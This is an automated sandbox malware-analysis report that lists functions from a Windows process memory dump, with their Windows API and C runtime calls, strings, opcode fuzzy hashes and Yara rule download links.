Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019D71EF

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 20ae23c6d6fbef74d82850b3fe84c8418b075488b0b58547aa3f725b1bc3f0b9
Instruction ID: 668c464acda32de9768d972fed5c891460483a71b63c781ceaad92655d9c2e69
Opcode Fuzzy Hash: 20ae23c6d6fbef74d82850b3fe84c8418b075488b0b58547aa3f725b1bc3f0b9
Instruction Fuzzy Hash: 96116032A296C282F314BB94AC4416AF761FF8074CFD60439EA9D47695DFBCF4508B60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019CE56C, Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7019CEF39,?,?,0000D4AACEF2318E,00007FF7019C57A9,?,?,?,?,00007FF7019D507E,?,?,00000000), ref: 00007FF7019CE5C1

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8ba7ba10919a605fa5be2f38f3e1a1ea7ab86b225220a0b5a657c2a20bc7967b
Instruction ID: 6976c66e21681e64c0309a5a0cdf7eb98809012498e19327b783108be9a68ea9
Opcode Fuzzy Hash: 8ba7ba10919a605fa5be2f38f3e1a1ea7ab86b225220a0b5a657c2a20bc7967b
Instruction Fuzzy Hash: 66F0CD44F292C282FF64B6618C152B4D6810FA8B48FDC1434C88F863C2FF9CE581CA30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C6140, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019C6165

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 97f5d9e79c4b549db1c29c518ace5159bd1b2bc4b2587db1d5d21b7976dc6957
Instruction ID: 9ec3754bb6baad6e5d69c54680c568910df064608f341cb14da48fe0c0fbacd8
Opcode Fuzzy Hash: 97f5d9e79c4b549db1c29c518ace5159bd1b2bc4b2587db1d5d21b7976dc6957
Instruction Fuzzy Hash: A9F0A761B682C241FB18BB12AC151B99192AF84789FC65030F5C90B7C3CFACE040DA20

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF7019DA174, Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1208COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF7019DA1BD
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019DA7C8
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019DA98B
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019DAB92
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019DAE56
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019DB051
memcpy_s.LIBCPMT ref: 00007FF7019DB13F
memcpy_s.LIBCPMT ref: 00007FF7019DB1EA
memcpy_s.LIBCPMT ref: 00007FF7019DB2B3

Strings

1#QNAN, xrefs: 00007FF7019DB36B
1#IND, xrefs: 00007FF7019DB359
1#SNAN, xrefs: 00007FF7019DB362
1#INF, xrefs: 00007FF7019DB387

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 90a3e8db653702dc102fce382d09046675bfad15844f4f825879c795a0bc11d1
Instruction ID: ff3150bcf8a0709734e17989ce38293abcf11531519796f58c4c4db22ce5df53
Opcode Fuzzy Hash: 90a3e8db653702dc102fce382d09046675bfad15844f4f825879c795a0bc11d1
Instruction Fuzzy Hash: 65B20572A282C28AE725DE65D9487FDB7A1FF5438CF805135DA0A57B84DFB8E910CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D8FF0, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7019CED60: GetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CED6F
Part of subcall function 00007FF7019CED60: SetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CEE0D

TranslateName.LIBCMT ref: 00007FF7019D905D
TranslateName.LIBCMT ref: 00007FF7019D9098
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF7019CC414), ref: 00007FF7019D90DD
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF7019CC414), ref: 00007FF7019D9105

Strings

utf8, xrefs: 00007FF7019D91E9

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastNameTranslate$CodePageValid
String ID: utf8
API String ID: 2136749100-905460609
Opcode ID: 4340c477a7800e2dfc05755ed1494b7b1ef11fe585d5fadc73b97012c0c4bbd3
Instruction ID: eb83dfed8ab3b9508ff706a48ec949ebc399abafb5e314e5f2e032b950b968a4
Opcode Fuzzy Hash: 4340c477a7800e2dfc05755ed1494b7b1ef11fe585d5fadc73b97012c0c4bbd3
Instruction Fuzzy Hash: 4191AC32A286C285EB60BF61E8492B9B2A4EF44B8CF848131DB4D57785DFBCE551C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D9A24, Relevance: 10.7, APIs: 7, Instructions: 171COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7019CED60: GetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CED6F
Part of subcall function 00007FF7019CED60: SetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CEE0D

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF7019CC40D), ref: 00007FF7019D9B7B
GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF7019D9B94
ProcessCodePage.LIBCMT ref: 00007FF7019D9BBE
IsValidCodePage.KERNEL32 ref: 00007FF7019D9BD0
IsValidLocale.KERNEL32 ref: 00007FF7019D9BE6
GetLocaleInfoW.KERNEL32 ref: 00007FF7019D9C42
GetLocaleInfoW.KERNEL32 ref: 00007FF7019D9C5E

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 3939093798-0
Opcode ID: 29727b5a06f9503e6d308d159dcfbecb688055babae23bfc4a2a52b6b7345a27
Instruction ID: 9028e04a565bc61397f2d1cba0031c19ae209cad580c8ff619d4e48af388114a
Opcode Fuzzy Hash: 29727b5a06f9503e6d308d159dcfbecb688055babae23bfc4a2a52b6b7345a27
Instruction Fuzzy Hash: B5715C22F286928AFF10BB60DC586B8A3A0BF4474CFC44535CA0E57695EFBCA445C361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BE1D4, Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7019BE1F0
RtlCaptureContext.KERNEL32 ref: 00007FF7019BE21D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7019BE237
RtlVirtualUnwind.KERNEL32 ref: 00007FF7019BE278
IsDebuggerPresent.KERNEL32 ref: 00007FF7019BE2CC
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7019BE2ED
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7019BE2F8

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 5ce92d35c3ae318117e97a080d6ff3de53bb9487b5c40c1567133f083e60c596
Instruction ID: 969c5ed077ae5357d7d4efe28283e941b8813cf2384cebb451441fb4ad941e13
Opcode Fuzzy Hash: 5ce92d35c3ae318117e97a080d6ff3de53bb9487b5c40c1567133f083e60c596
Instruction Fuzzy Hash: FE314D72619AC186EB60EF60EC843EDB364FB84748F84443ADA4E47B94DF78D549C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D5C10, Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019D5C59

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 52f532d2fcfbcfd613475b2a122b270c4be1cca819825188e743e4443859037c
Instruction ID: fe2e697f327e55771b81c48aa1ff069a13c02ef82be70111b963f1a7e0e45887
Opcode Fuzzy Hash: 52f532d2fcfbcfd613475b2a122b270c4be1cca819825188e743e4443859037c
Instruction Fuzzy Hash: 21A1C562B286C141FB10EB259C082BAE3A0FF54BD8F954535EA5E47B84DFBCE4468720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C543C, Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7019C54B5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7019C54CD
RtlVirtualUnwind.KERNEL32 ref: 00007FF7019C5508
IsDebuggerPresent.KERNEL32 ref: 00007FF7019C5541
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7019C554B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7019C5556

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 69eade4bf76073c3101b10d77e1a707967cd7743cf955b342fad749c27f6aff3
Instruction ID: bce0ecbcbe65575a5164c771dbea688a86f8528a39df4d1f30b9cbf1bce4771e
Opcode Fuzzy Hash: 69eade4bf76073c3101b10d77e1a707967cd7743cf955b342fad749c27f6aff3
Instruction Fuzzy Hash: 0A317F32628BC186E720DB25EC842AEB3A4FF84798F944135EA9D43B64EF7CD545CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D2864, Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 00007FF7019D28D3
WriteFile.KERNEL32 ref: 00007FF7019D2B7D
WriteFile.KERNEL32 ref: 00007FF7019D2BCF
GetLastError.KERNEL32 ref: 00007FF7019D2D11
GetLastError.KERNEL32 ref: 00007FF7019D2D23

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: 4d24b88d8f899e9c8aba7e75e393f451e767afcfcb2658582ae6d912c175b30b
Instruction ID: 0d19332ed5ccf50a694b531e62a8fc9251e5def36dfb540c2a8f902cc9b50847
Opcode Fuzzy Hash: 4d24b88d8f899e9c8aba7e75e393f451e767afcfcb2658582ae6d912c175b30b
Instruction Fuzzy Hash: EFD1EF72B28A818AE701DFA4D9881ADB7B1FF4579CB944132DE4E47B99DFB8D016C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C8040, Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 317COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF7019C80A6
memcpy_s.LIBCPMT ref: 00007FF7019C80D1

Strings

ios_base::failbit set, xrefs: 00007FF7019C804D

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy_s
String ID: ios_base::failbit set
API String ID: 1502251526-3924258884
Opcode ID: eb9087705620f05042c34dfc2556d76d6eed7c1a18d44c8083b321096b5a3d76
Instruction ID: 58ce3500577c5e3094f0e232e98e8c1d39df3dfa1310c64832735b22ca6075f2
Opcode Fuzzy Hash: eb9087705620f05042c34dfc2556d76d6eed7c1a18d44c8083b321096b5a3d76
Instruction Fuzzy Hash: E6C1D572B286C687DB24DF59E54866AF791FB84788F848138DB8E43784DB7DE801CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B41F0, Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7019B44BD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7019B4799

Strings

%, xrefs: 00007FF7019B47D5

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: %
API String ID: 3668304517-2567322570
Opcode ID: d950214c658ec064b66ba31d4fabe73275801fd98454d10ba848113b9fe919e3
Instruction ID: 136d77fa58f7b98269b5e3b4fdbb9b48cc17053f788467a3f5c494ce3d40749e
Opcode Fuzzy Hash: d950214c658ec064b66ba31d4fabe73275801fd98454d10ba848113b9fe919e3
Instruction Fuzzy Hash: C5121112B28AC589FB25DBA5D9903FDA7A1AF4478CF844131DE4E17B86DFBCD4419320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B3370, Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 492COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7019B363E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7019B391A

Strings

%, xrefs: 00007FF7019B3955

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: %
API String ID: 3668304517-2567322570
Opcode ID: 76023c01a37072f665d79ec20026fff7d8770a48b4f734ba3d64f2672f55a8d6
Instruction ID: 92440b96eff50242dd2b52788cfd4a1c9b2905b78dc4a33f37a9af0132354ea3
Opcode Fuzzy Hash: 76023c01a37072f665d79ec20026fff7d8770a48b4f734ba3d64f2672f55a8d6
Instruction Fuzzy Hash: 4B12FF52B28AC589FB25DB65D9903BDA7A1FF44B88F844131DE4D17B84DFBCD6418320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C58EC, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 208COMMON

Download Yara Rule

APIs

_Wcsftime.LIBCMT ref: 00007FF7019C599E
_Wcsftime.LIBCMT ref: 00007FF7019C593F

Part of subcall function 00007FF7019CC744: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7019CC76F

Strings

ios_base::failbit set, xrefs: 00007FF7019C58FC

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Wcsftime$_invalid_parameter_noinfo
String ID: ios_base::failbit set
API String ID: 4239037671-3924258884
Opcode ID: d5d83df8b6be00d1f63aba2cedb1632e209a6e37bbaa51a02b0c00eee391481b
Instruction ID: e02a60d204332cc4fa3f4537005a6178302f204de71f9b6de6e4d55a2adc17c7
Opcode Fuzzy Hash: d5d83df8b6be00d1f63aba2cedb1632e209a6e37bbaa51a02b0c00eee391481b
Instruction Fuzzy Hash: A581C172B24A8141FB60EE25C8913BCA760FF44BA8F814632EE9E47794CF78E041CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D0FD0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7019D1009
GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF7019CC5E7), ref: 00007FF7019D1037

Strings

GetLocaleInfoEx, xrefs: 00007FF7019D0FEC, 00007FF7019D0FFD

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocaletry_get_function
String ID: GetLocaleInfoEx
API String ID: 2200034068-2904428671
Opcode ID: 28ded2e3510afebdaa426ad8ef9b015c35cf05c218bb6d8b2a43254175200813
Instruction ID: d31dfc4b3f0720904bd0d29b62f5f81363db5025f8d4d74a27359655b3b7a80a
Opcode Fuzzy Hash: 28ded2e3510afebdaa426ad8ef9b015c35cf05c218bb6d8b2a43254175200813
Instruction Fuzzy Hash: 92016229B18AC182E700AB52F8440AAE661AF84BCCFD88435DF5D13B55CFBCD5418350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D94A4, Relevance: 4.7, APIs: 3, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7019CED60: GetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CED6F
Part of subcall function 00007FF7019CED60: SetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CEE0D

GetLocaleInfoW.KERNEL32 ref: 00007FF7019D9510

Part of subcall function 00007FF7019D5898: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7019D58B5

GetLocaleInfoW.KERNEL32 ref: 00007FF7019D9559

Part of subcall function 00007FF7019D5898: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7019D590E

GetLocaleInfoW.KERNEL32 ref: 00007FF7019D9624

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale$ErrorLast_invalid_parameter_noinfo
String ID:
API String ID: 3644580040-0
Opcode ID: 71ad9deee62cbc822561fd8153de0140f12a8ea3c686a29a39fc2103c5d89094
Instruction ID: 589ac4b538fdc64e21405df2328361142301672049201d2f6c89b17ab6740bd8
Opcode Fuzzy Hash: 71ad9deee62cbc822561fd8153de0140f12a8ea3c686a29a39fc2103c5d89094
Instruction Fuzzy Hash: 6C618B32A2868286EB34BF15D9952A9B3A0FF9474CFC48135CB9E93694DFBCE451C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019CF070, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019CF0D4

Strings

gfffffff, xrefs: 00007FF7019CF371

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 98d554043dd905acf2618a7e06c910ecbfd187c0ac7b23f75298e314a72bc957
Instruction ID: 61b40f7a06bdd5a640462d6364f3c1449f6236db0427af800d62a479ff061a2e
Opcode Fuzzy Hash: 98d554043dd905acf2618a7e06c910ecbfd187c0ac7b23f75298e314a72bc957
Instruction Fuzzy Hash: 8F917667B297C586EB11EB25D8003BDB796AF94BC8F858032CA8D47381DB7DE506CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019CF908, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019CF939

Part of subcall function 00007FF7019C56A0: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7019C564D), ref: 00007FF7019C56A9
Part of subcall function 00007FF7019C56A0: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7019C564D), ref: 00007FF7019C56CE

Strings

-, xrefs: 00007FF7019CFB14

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: -
API String ID: 4036615347-2547889144
Opcode ID: 6440065008994b68cc27b2938fc29d78b4b09fb93bf16ac7cee0ce8a3687bb3a
Instruction ID: 46379fd795e7ed84e20cb1920af61e623b770165bcc7168f8ff82ea4fc935183
Opcode Fuzzy Hash: 6440065008994b68cc27b2938fc29d78b4b09fb93bf16ac7cee0ce8a3687bb3a
Instruction Fuzzy Hash: B7811432A2C7C545EB64AA25A81037AE692EF857E8F944235DADD43BD9DF7CD400CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D03B0, Relevance: 3.2, APIs: 2, Instructions: 232COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7019D05FF
RaiseException.KERNEL32 ref: 00007FF7019D0610

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 98b1eef9f340e78824bb6b8c9f3fb1efcec8d0684a0669a3faa0a69f225b95a1
Instruction ID: 13c64589c47605bc4a78db7cf08feb8c9db2c5dcfc73f9774c2d3d5350e1e8b9
Opcode Fuzzy Hash: 98b1eef9f340e78824bb6b8c9f3fb1efcec8d0684a0669a3faa0a69f225b95a1
Instruction Fuzzy Hash: 21B15D73A10B848BEB15DF2AC88A36C77A0FB84B4CF598921EB5D877A4CB79D451C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C7950, Relevance: 1.9, APIs: 1, Instructions: 371COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF7019C7A98

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: ec3aa41ee1bbab24dc4cc91a15548e5f4c7c82296dc4130f6f9624a124e34db8
